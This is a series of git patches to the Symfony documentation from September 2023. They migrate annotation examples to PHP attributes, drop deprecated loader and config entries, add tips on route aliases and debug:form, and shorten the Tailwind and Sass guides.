 validation/custom_constraint.rst | 144 +++++++------------------------
 1 file changed, 32 insertions(+), 112 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index ba7f10d9bda..4cc91f16855 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -221,106 +221,50 @@ Constraint Validators with Custom Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you want to add some configuration options to your custom constraint, first
-define those options as public properties on the constraint class:
+define those options as public properties on the constraint class::
 
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Validator/Foo.php
-        namespace App\Validator;
-
-        use Symfony\Component\Validator\Constraint;
+    // src/Validator/Foo.php
+    namespace App\Validator;
 
-        /**
-         * @Annotation
-         */
-        class Foo extends Constraint
-        {
-            public $mandatoryFooOption;
-            public $message = 'This value is invalid';
-            public $optionalBarOption = false;
-
-            public function __construct(
-                $mandatoryFooOption,
-                string $message = null,
-                bool $optionalBarOption = null,
-                array $groups = null,
-                $payload = null,
-                array $options = []
-            ) {
-                if (\is_array($mandatoryFooOption)) {
-                    $options = array_merge($mandatoryFooOption, $options);
-                } elseif (null !== $mandatoryFooOption) {
-                    $options['value'] = $mandatoryFooOption;
-                }
-
-                parent::__construct($options, $groups, $payload);
-
-                $this->message = $message ?? $this->message;
-                $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
-            }
+    use Symfony\Component\Validator\Constraint;
 
-            public function getDefaultOption()
-            {
-                // If no associative array is passed to the constructor this
-                // property is set instead.
+    #[\Attribute]
+    class Foo extends Constraint
+    {
+        public $mandatoryFooOption;
+        public $message = 'This value is invalid';
+        public $optionalBarOption = false;
 
-                return 'mandatoryFooOption';
+        public function __construct(
+            $mandatoryFooOption,
+            string $message = null,
+            bool $optionalBarOption = null,
+            array $groups = null,
+            $payload = null,
+            array $options = []
+        ) {
+            if (\is_array($mandatoryFooOption)) {
+                $options = array_merge($mandatoryFooOption, $options);
+            } elseif (null !== $mandatoryFooOption) {
+                $options['value'] = $mandatoryFooOption;
             }
 
-            public function getRequiredOptions()
-            {
-                // return names of options which must be set.
+            parent::__construct($options, $groups, $payload);
 
-                return ['mandatoryFooOption'];
-            }
+            $this->message = $message ?? $this->message;
+            $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
         }
 
-    .. code-block:: php-attributes
-
-        // src/Validator/Foo.php
-        namespace App\Validator;
-
-        use Symfony\Component\Validator\Constraint;
-
-        #[\Attribute]
-        class Foo extends Constraint
+        public function getDefaultOption()
         {
-            public $mandatoryFooOption;
-            public $message = 'This value is invalid';
-            public $optionalBarOption = false;
-
-            public function __construct(
-                $mandatoryFooOption,
-                string $message = null,
-                bool $optionalBarOption = null,
-                array $groups = null,
-                $payload = null,
-                array $options = []
-            ) {
-                if (\is_array($mandatoryFooOption)) {
-                    $options = array_merge($mandatoryFooOption, $options);
-                } elseif (null !== $mandatoryFooOption) {
-                    $options['value'] = $mandatoryFooOption;
-                }
-
-                parent::__construct($options, $groups, $payload);
-
-                $this->message = $message ?? $this->message;
-                $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
-            }
-
-            public function getDefaultOption()
-            {
-                return 'mandatoryFooOption';
-            }
+            return 'mandatoryFooOption';
+        }
 
-            public function getRequiredOptions()
-            {
-                return ['mandatoryFooOption'];
-            }
+        public function getRequiredOptions()
+        {
+            return ['mandatoryFooOption'];
         }
+    }
 
 Then, inside the validator class you can access these options directly via the
 constraint class passes to the ``validate()`` method::
@@ -343,30 +287,6 @@ the custom options like you pass any other option in built-in constraints:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/AcmeEntity.php
-        namespace App\Entity;
-
-        use App\Validator as AcmeAssert;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class AcmeEntity
-        {
-            // ...
-
-            /**
-             * @Assert\NotBlank
-             * @AcmeAssert\Foo(
-             *     mandatoryFooOption="bar",
-             *     optionalBarOption=true
-             * )
-             */
-            protected $name;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/AcmeEntity.php

From 06ac5a1e1db34e914a2482d397dfd2e6d3e15afa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 16:53:41 +0200
Subject: [PATCH 3749/5766] Mention how to run the commands that create the
 testing database

---
 testing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/testing.rst b/testing.rst
index d3705a9984a..7cb5f906046 100644
--- a/testing.rst
+++ b/testing.rst
@@ -398,6 +398,11 @@ After that, you can create the test database and all tables using:
     # create the tables/columns in the test database
     $ php bin/console --env=test doctrine:schema:create
 
+.. tip::
+
+    You can run these commands to create the database during the
+    :doc:`test bootstrap process <testing/bootstrap>`.
+
 .. tip::
 
     A common practice is to append the ``_test`` suffix to the original

From 51e05f7b355a50c1ffa1e0715ee2b65f4aec1d79 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 17:18:53 +0200
Subject: [PATCH 3750/5766] Tweak

---
 session.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 4a9015f919f..25e4c7135a8 100644
--- a/session.rst
+++ b/session.rst
@@ -670,8 +670,8 @@ and only the first one stored the CSRF token in the session.
 .. tip::
 
     When using Redis with a DSN in the
-    :ref:`handler_id <config-framework-session-handler-id>` config option, the
-    latter can contain the ``prefix`` and ``ttl`` options as query string parameters.
+    :ref:`handler_id <config-framework-session-handler-id>` config option, you can
+    add the ``prefix`` and ``ttl`` options as query string parameters in the DSN.
 
     .. versionadded:: 5.4
 

From 30b7305b8124c3cf98809efad5e3e7b8f0d10750 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 17:19:24 +0200
Subject: [PATCH 3751/5766] Remove a versionadded directive

---
 session.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/session.rst b/session.rst
index e801309afa0..f3bd995fb9c 100644
--- a/session.rst
+++ b/session.rst
@@ -670,11 +670,6 @@ and only the first one stored the CSRF token in the session.
     :ref:`handler_id <config-framework-session-handler-id>` config option, you can
     add the ``prefix`` and ``ttl`` options as query string parameters in the DSN.
 
-    .. versionadded:: 5.4
-
-        The support for ``prefix`` and ``ttl`` options in a Redis DSN was
-        introduced in Symfony 5.4.
-
 .. _session-database-pdo:
 
 Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)

From e518a88f680b9d5fb94aca4d2a34c7bc1aa0814a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Sep 2023 16:58:25 +0200
Subject: [PATCH 3752/5766] [Routing] Add FQCN and FQCN::method aliases when
 applicable

---
 routing.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/routing.rst b/routing.rst
index d7b86784dbc..408f397652d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2236,6 +2236,34 @@ For that reason each route has an internal name that must be unique in the
 application. If you don't set the route name explicitly with the ``name``
 option, Symfony generates an automatic name based on the controller and action.
 
+Symfony declares aliases based on the FQCN if the target class has an
+``__invoke()`` method that adds a route **and** if the target class added
+one route exactly. Symfony also automatically adds a alias for every method
+that defines only one route. This means that for the following class::
+
+        // src/Controller/MainController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        final class MainController extends AbstractController
+        {
+            #[Route('/', name: 'homepage')]
+            public function homepage(): Response
+            {
+                // ...
+            }
+        }
+
+An alias named ``App\Controller\MainController::homepage`` will be declared in
+the router.
+
+.. versionadded:: 6.4
+
+    The automatic declaration of aliases based on FQCNs was introduced in
+    Symfony 6.4.
+
 Generating URLs in Controllers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 9571b512de55023f62347ac6301dfb1577421761 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Sep 2023 16:09:09 +0200
Subject: [PATCH 3753/5766] [DependencyInjection] Autoconfigurable attributes
 on methods, properties and parameters

---
 service_container/tags.rst | 54 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index e548040f4ed..5446a5aed16 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -214,11 +214,65 @@ method::
         }
     }
 
+To go even further, the ``SensitiveElement`` attribute can be updated to be
+usable on methods::
+
+    // src/Attribute/SensitiveElement.php
+    namespace App\Attribute;
+
+    #[\Attribute(\Attribute::TARGET_CLASS | \Attribute::TARGET_METHOD)]
+    class SensitiveElement
+    {
+        // ...
+    }
+
+We should now update the call to
+:method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+to support ``ReflectionMethod``::
+
+    // src/Kernel.php
+    use App\Attribute\SensitiveElement;
+
+    class Kernel extends BaseKernel
+    {
+        // ...
+
+        protected function build(ContainerBuilder $container): void
+        {
+            // ...
+
+            $container->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (
+                ChildDefinition $definition,
+                SensitiveElement $attribute,
+                // we update the union type to support multiple type of reflection
+                // you can also use the "\Reflector" interface
+                \ReflectionClass|\ReflectionMethod $reflector): void {
+                    if ($reflection instanceof \ReflectionMethod) {
+                        // ...
+                    }
+                }
+            );
+        }
+    }
+
+.. tip::
+
+    You can also define an attribute to be usable on properties and parameters with
+    ``Attribute::TARGET_PROPERTY`` and ``Attribute::TARGET_PARAMETER``, then support
+    ``ReflectionProperty`` and ``ReflectionParameter`` in your
+    :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+    callable.
+
 .. versionadded:: 5.3
 
     The :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
     method was introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    The support for autoconfigurable methods, properties and parameters was
+    introduced in Symfony 5.4.
+
 Creating custom Tags
 --------------------
 

From 4456abafdeb17aa440fd1330013b13eeaac37a07 Mon Sep 17 00:00:00 2001
From: PEHAUT-PIETRI Valmont <valmont.p@hotmail.com>
Date: Tue, 5 Sep 2023 09:19:46 +0200
Subject: [PATCH 3754/5766] [Form]: add a tip for `debug:form` command

---
 forms.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/forms.rst b/forms.rst
index 80e98ecb768..7ff2c09378d 100644
--- a/forms.rst
+++ b/forms.rst
@@ -95,6 +95,33 @@ much easier to implement.
 There are tens of :doc:`form types provided by Symfony </reference/forms/types>`
 and you can also :doc:`create your own form types </form/create_custom_field_type>`.
 
+.. tip::
+
+    You can use the ``debug:form`` to list all the available types, type
+    extensions and type guessers in your application:
+
+    .. code-block:: terminal
+
+        $ php bin/console debug:form
+
+    If you pass a form type as the first argument, the command shows the options
+    defined for that type, its parents and its extensions.
+    For built-in types the short classname is enough, however other types
+    require the FQCN:
+
+    .. code-block:: terminal
+
+        $ php bin/console debug:form BirthdayType
+
+    If you pass both a form type class and an option name, the command displays
+    the full definition of the given option:
+
+    .. code-block:: terminal
+
+        $ php bin/console debug:form BirthdayType label_attr
+
+    You can see all the command options by running ``--help``.
+
 Building Forms
 --------------
 

From 4fbda5d91644e72c2e164b1eaeea6028e0b10765 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 5 Sep 2023 11:11:29 +0200
Subject: [PATCH 3755/5766] [Workflow] Remove `GuardEvent::getContext()` method
 without replacement

---
 workflow.rst | 15 ---------------
 1 file changed, 15 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 88021884130..2e17b40794c 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -463,21 +463,6 @@ order:
 
         $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
 
-The context is accessible in all events except for the ``workflow.guard`` events::
-
-    // $context must be an array
-    $context = ['context_key' => 'context_value'];
-    $workflow->apply($subject, $transitionName, $context);
-
-    // in an event listener (workflow.guard events)
-    $context = $event->getContext(); // returns ['context']
-
-.. deprecated:: 6.4
-
-    Gathering events context is deprecated since Symfony 6.4 and the
-    :method:`Symfony\\Component\\Workflow\\Event::getContext` method will be
-    removed in Symfony 7.0.
-
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay

From d7717fb4ea37ee57c3f4b5b56051c5fa82fb830f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 5 Sep 2023 11:15:20 +0200
Subject: [PATCH 3756/5766] Remove mentions of AnnotationLoader

---
 _includes/_annotation_loader_tip.rst.inc | 19 ----------
 components/validator/resources.rst       | 46 ------------------------
 reference/configuration/framework.rst    | 24 -------------
 3 files changed, 89 deletions(-)
 delete mode 100644 _includes/_annotation_loader_tip.rst.inc

diff --git a/_includes/_annotation_loader_tip.rst.inc b/_includes/_annotation_loader_tip.rst.inc
deleted file mode 100644
index 0f4267b07f5..00000000000
--- a/_includes/_annotation_loader_tip.rst.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-.. note::
-
-    In order to use the annotation loader, you should have installed the
-    ``doctrine/annotations`` and ``doctrine/cache`` packages with Composer.
-
-.. tip::
-
-    Annotation classes aren't loaded automatically, so you must load them
-    using a class loader like this::
-
-        use Composer\Autoload\ClassLoader;
-        use Doctrine\Common\Annotations\AnnotationRegistry;
-
-        /** @var ClassLoader $loader */
-        $loader = require __DIR__.'/../vendor/autoload.php';
-
-        AnnotationRegistry::registerLoader([$loader, 'loadClass']);
-
-        return $loader;
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index dd218a26a12..d9d3543a641 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -83,52 +83,6 @@ configure the locations of these files::
     :method:`Symfony\\Component\\Validator\\ValidatorBuilder::addXmlMappings`
     to configure an array of file paths.
 
-The AnnotationLoader
---------------------
-
-.. deprecated:: 6.4
-
-    The :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader`
-    is deprecated since Symfony 6.4, use the
-    :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader`
-    instead.
-
-The component provides an
-:class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader` to get
-the metadata from the attributes of the class::
-
-    use Symfony\Component\Validator\Constraints as Assert;
-    // ...
-
-    class User
-    {
-        #[Assert\NotBlank]
-        protected string $name;
-    }
-
-To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method::
-
-    use Symfony\Component\Validator\Validation;
-
-    $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
-        ->getValidator();
-
-To disable the annotation loader after it was enabled, call
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`.
-
-.. deprecated:: 6.4
-
-    The :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping`
-    and :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`
-    methods are deprecated since Symfony 6.4, use the
-    :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAttributeMapping`
-    and :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAttributeMapping`
-    methods instead.
-
-.. include:: /_includes/_annotation_loader_tip.rst.inc
-
 The AttributeLoader
 -------------------
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index efa028b0824..a498328e9fe 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2701,18 +2701,6 @@ settings is configured.
 
 .. _reference-validation-enable_annotations:
 
-enable_annotations
-..................
-
-**type**: ``boolean`` **default**: ``true``
-
-If this option is enabled, validation constraints can be defined using annotations or `PHP attributes`_.
-
-.. deprecated:: 6.4
-
-    This option is deprecated since Symfony 6.4, use the ``enable_attributes``
-    option instead.
-
 enable_attributes
 .................
 
@@ -2899,18 +2887,6 @@ Whether to enable the ``serializer`` service or not in the service container.
 
 .. _reference-serializer-enable_annotations:
 
-enable_annotations
-..................
-
-**type**: ``boolean`` **default**: ``true``
-
-If this option is enabled, serialization groups can be defined using annotations or attributes.
-
-.. deprecated:: 6.4
-
-    This option is deprecated since Symfony 6.4, use the ``enable_attributes``
-    option instead.
-
 enable_attributes
 .................
 

From 3cf253a9690686d3213ba7ae4cc6d7abbbf82f6a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 12:10:38 +0200
Subject: [PATCH 3757/5766] Reword

---
 forms.rst | 17 +++--------------
 1 file changed, 3 insertions(+), 14 deletions(-)

diff --git a/forms.rst b/forms.rst
index 7ff2c09378d..715fdb17f27 100644
--- a/forms.rst
+++ b/forms.rst
@@ -104,24 +104,13 @@ and you can also :doc:`create your own form types </form/create_custom_field_typ
 
         $ php bin/console debug:form
 
-    If you pass a form type as the first argument, the command shows the options
-    defined for that type, its parents and its extensions.
-    For built-in types the short classname is enough, however other types
-    require the FQCN:
-
-    .. code-block:: terminal
-
+        # pass the form type FQCN to only show the options for that type, its parents and extensions.
+        # For built-in types, you can pass the short classname instead of the FQCN
         $ php bin/console debug:form BirthdayType
 
-    If you pass both a form type class and an option name, the command displays
-    the full definition of the given option:
-
-    .. code-block:: terminal
-
+        # pass also an option name to only display the full definition of that option
         $ php bin/console debug:form BirthdayType label_attr
 
-    You can see all the command options by running ``--help``.
-
 Building Forms
 --------------
 

From 52bcbde3a1b6f4068f76f4e50d03970d55f53815 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 13:30:38 +0200
Subject: [PATCH 3758/5766] Tweaks

---
 routing.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index 408f397652d..11aea4039b3 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2236,10 +2236,10 @@ For that reason each route has an internal name that must be unique in the
 application. If you don't set the route name explicitly with the ``name``
 option, Symfony generates an automatic name based on the controller and action.
 
-Symfony declares aliases based on the FQCN if the target class has an
+Symfony declares route aliases based on the FQCN if the target class has an
 ``__invoke()`` method that adds a route **and** if the target class added
-one route exactly. Symfony also automatically adds a alias for every method
-that defines only one route. This means that for the following class::
+one route exactly. Symfony also automatically adds an alias for every method
+that defines only one route. Consider the following class::
 
         // src/Controller/MainController.php
         namespace App\Controller;
@@ -2256,12 +2256,11 @@ that defines only one route. This means that for the following class::
             }
         }
 
-An alias named ``App\Controller\MainController::homepage`` will be declared in
-the router.
+Symfony will add a route alias named ``App\Controller\MainController::homepage``.
 
 .. versionadded:: 6.4
 
-    The automatic declaration of aliases based on FQCNs was introduced in
+    The automatic declaration of route aliases based on FQCNs was introduced in
     Symfony 6.4.
 
 Generating URLs in Controllers

From 73121fbd0e59644259c1d50dd3c59aeab4cdbb47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 13:30:58 +0200
Subject: [PATCH 3759/5766] Remove a versionadded directive

---
 routing.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index 11aea4039b3..6a6d2095e23 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2258,11 +2258,6 @@ that defines only one route. Consider the following class::
 
 Symfony will add a route alias named ``App\Controller\MainController::homepage``.
 
-.. versionadded:: 6.4
-
-    The automatic declaration of route aliases based on FQCNs was introduced in
-    Symfony 6.4.
-
 Generating URLs in Controllers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From c458428bb827db01a569726148322659f1700eea Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 5 Sep 2023 13:32:58 +0200
Subject: [PATCH 3760/5766] [Clock] Add support for
 `DateMalformedStringException` and `DateInvalidTimeZoneException`

---
 components/clock.rst | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 5c136e382a4..3ab6f495fba 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -265,5 +265,34 @@ control on your time-sensitive code's behavior.
 
     The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.
 
+Exceptions Management
+---------------------
+
+The Clock component takes full advantage of `the new DateTime exceptions`_
+introduced in PHP 8.3: ``DateMalformedStringException`` and
+``DateInvalidTimeZoneException``. These exceptions will be thrown
+respectively when a invalid string is passed to a clock (e.g. when
+creating a clock or modifying a ``MockClock``) and when an invalid timezone is
+used::
+
+    $userInput = 'invalid timezone';
+
+    try {
+        $clock = Clock::get()->withTimeZone($userInput);
+    } catch (\DateInvalidTimeZoneException $exception) {
+        // ...
+    }
+
+Thanks to the `symfony/polyfill-php83`_ dependency required by the Clock
+component, you don't even need to run PHP 8.3 to enjoy these new explicit
+and consistent exceptions when using the Clock component.
+
+.. versionadded:: 6.4
+
+    The support for ``DateMalformedStringException`` and
+    ``DateInvalidTimeZoneException`` was introduced in Symfony 6.4.
+
 .. _`PSR-20`: https://www.php-fig.org/psr/psr-20/
 .. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
+.. _`the new DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
+.. _`symfony/polyfill-php83`: https://github.com/symfony/polyfill-php83

From 75cb072fdb4c8bd6d5502e8d16d5d289cd17d0bd Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Tue, 5 Sep 2023 08:51:53 -0400
Subject: [PATCH 3761/5766] Removing toc tree, which duplicated links

---
 frontend.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 27ee9719f68..0bb75effffe 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -140,12 +140,6 @@ Other Front-End Articles
 * :doc:`/frontend/create_ux_bundle`
 * :doc:`/frontend/custom_version_strategy`
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    frontend/*
-
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
 .. _`Webpack`: https://webpack.js.org/
 .. _`Node.js`: https://nodejs.org/

From 67304ba0764a160215f0ee394348d1dba83757c2 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Tue, 5 Sep 2023 08:49:40 -0400
Subject: [PATCH 3762/5766] [AssetMapper] Removing tailwind/sass docs in favor
 of bundles

---
 frontend/asset_mapper.rst | 116 ++------------------------------------
 1 file changed, 5 insertions(+), 111 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 37404ef5dbc..7c33cc6c816 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -755,120 +755,15 @@ component.
 Using Tailwind CSS
 ------------------
 
-.. seealso::
-
-    Check out `symfonycasts/tailwind-bundle`_ for an even easier way to use
-    Tailwind with Symfony.
-
-Want to use the `Tailwind`_ CSS framework with the AssetMapper component? No problem.
-First, install the ``tailwindcss`` binary. This can be installed via npm (run
-``npm --init`` if you don't already have a ``package.json`` file):
-
-.. code-block:: terminal
-
-    $ npm install -D tailwindcss
-
-Or you can install the `Tailwind standalone binary`_, which does not require Node.
-
-Next, generate the ``tailwind.config.js`` file:
-
-.. code-block:: terminal
-
-    $ npx tailwindcss init
-
-    # or with the standalone binary:
-    $ ./tailwindcss init
-
-Update ``tailwind.config.js`` to point to your template and JavaScript files:
-
-.. code-block:: diff
-
-    // tailwind.config.js
-    // ....
-
-    -   content: [],
-    +   content: [
-    +       "./assets/**/*.js",
-    +       "./templates/**/*.html.twig",
-    +   ],
-
-Then add the base lines to your ``assets/styles/app.css`` file:
-
-.. code-block:: css
-
-    /* assets/styles/app.css */
-    @tailwind base;
-    @tailwind components;
-    @tailwind utilities;
-
-Now that Tailwind is setup, run the ``tailwindcss`` binary in "watch" mode
-to build the CSS file to a new ``assets/app.built.css`` path:
-
-.. code-block:: terminal
-
-    $ npx tailwindcss build -i assets/styles/app.css -o assets/styles/app.built.css --watch
-
-    # or with the standalone binary:
-    $ ./tailwindcss build -i assets/styles/app.css -o assets/styles/app.built.css --watch
-
-Finally, instead of pointing directly to ``styles/app.css`` in your template,
-point to the new ``styles/app.built.css`` file:
-
-.. code-block:: diff
-
-    {# templates/base.html.twig #}
-
-    - <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
-    + <link rel="stylesheet" href="{{ asset('styles/app.built.css') }}">
-
-Done! You can choose to ignore the ``assets/styles/app.built.css`` file from Git
-or commit it to ease deployment.
+To use the `Tailwind`_ CSS framework with the AssetMapper component, check out
+`symfonycasts/tailwind-bundle`_.
 
 .. _asset-mapper-sass:
 
 Using Sass
 ----------
 
-To use Sass with the AssetMapper component, install the sass binary. You can
-`download it from the latest GitHub release`_ (does not require Node) or
-install it via npm:
-
-.. code-block:: terminal
-
-    $ npm install -D dart-sass
-
-Next, create an ``assets/styles/app.scss`` file and write some dazzling CSS:
-
-.. code-block:: scss
-
-    /* assets/styles/app.scss */
-    $primary-color: skyblue;
-
-    body {
-        background: $primary-color;
-    }
-
-Then, run the ``dart-sass`` binary in "watch" mode to build the CSS file to a
-new ``assets/styles/app.css`` path:
-
-.. code-block:: terminal
-
-    $ npx dart-sass assets/styles/app.scss assets/styles/app.css --watch
-
-    # or with the standalone binary:
-    ./sass assets/styles/app.scss assets/styles/app.css --watch
-
-In your template, point directly to the ``styles/app.css`` file (``base.html.twig``
-points to ``styles/app.css`` by default):
-
-.. code-block:: html+twig
-
-    {# templates/base.html.twig #}
-    <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
-
-Done! You can choose to ignore the ``assets/styles/app.css`` file from Git
-or commit it to ease deployment. To prevent the source ``.scss`` files from being
-exposed to the public, see :ref:`exclude_patterns <excluded_patterns>`.
+To use Sass with AssetMapper component, check out `symfonycasts/sass-bundle`_.
 
 Third-Party Bundles & Custom Asset Paths
 ----------------------------------------
@@ -1152,9 +1047,8 @@ This will force the AssetMapper component to re-calculate the content of all fil
 .. _auto minify: https://developers.cloudflare.com/support/speed/optimization-file-size/using-cloudflare-auto-minify/
 .. _Lighthouse: https://developers.google.com/web/tools/lighthouse
 .. _Tailwind: https://tailwindcss.com/
-.. _Tailwind standalone binary: https://tailwindcss.com/blog/standalone-cli
-.. _download it from the latest GitHub release: https://github.com/sass/dart-sass/releases/latest
 .. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle
 .. _Cloudflare: https://www.cloudflare.com/
 .. _EasyAdminBundle: https://github.com/EasyCorp/EasyAdminBundle
-.. _symfonycasts/tailwind-bundle: https://github.com/SymfonyCasts/tailwind-bundle
+.. _symfonycasts/tailwind-bundle: https://symfony.com/bundles/TailwindBundle/current/index.html
+.. _symfonycasts/sass-bundle: https://symfony.com/bundles/SassBundle/current/index.html

From 64072c43208b515af25fb3b0c1ea975cb23500f6 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Tue, 5 Sep 2023 09:23:48 -0400
Subject: [PATCH 3763/5766] Title & link fixes for frontend

---
 frontend.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 0bb75effffe..53999ad03bc 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -1,5 +1,5 @@
-Introduction
-============
+Front-end Tools: Handling CSS & JavaScript
+==========================================
 
 Symfony gives you the flexibility to choose any front-end tools you want. This could
 be dead-simple - like putting CSS & JS directly in the ``public/`` directory - or
@@ -25,14 +25,11 @@ Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes :ref:`[1] <note-1>`
-Supports TypeScript               yes                no :ref:`[1] <note-1>`
+Supports React, Vue, Svelte?      yes                yes :ref:`[1] <ux-note-1>`
+Supports TypeScript               yes                no :ref:`[1] <ux-note-1>`
 ================================  =================  ======================================================
 
-Notes
-~~~~~
-
-.. _note-1:
+.. _ux-note-1:
 
 **[1]** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
 need to use their native tools for pre-compilation. Also, some features (like

From b760576b1cfe9377dcbf4fcf9658282dbe6c51dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 16:01:21 +0200
Subject: [PATCH 3764/5766] Tweaks

---
 components/clock.rst | 18 ++++++++----------
 1 file changed, 8 insertions(+), 10 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 3ab6f495fba..e098dc6a3b1 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -268,12 +268,10 @@ control on your time-sensitive code's behavior.
 Exceptions Management
 ---------------------
 
-The Clock component takes full advantage of `the new DateTime exceptions`_
-introduced in PHP 8.3: ``DateMalformedStringException`` and
-``DateInvalidTimeZoneException``. These exceptions will be thrown
-respectively when a invalid string is passed to a clock (e.g. when
-creating a clock or modifying a ``MockClock``) and when an invalid timezone is
-used::
+The Clock component takes full advantage of some `PHP DateTime exceptions`_.
+If you pass an invalid string to the clock (e.g. when creating a clock or
+modifying a ``MockClock``) you'll get a ``DateMalformedStringException``. If you
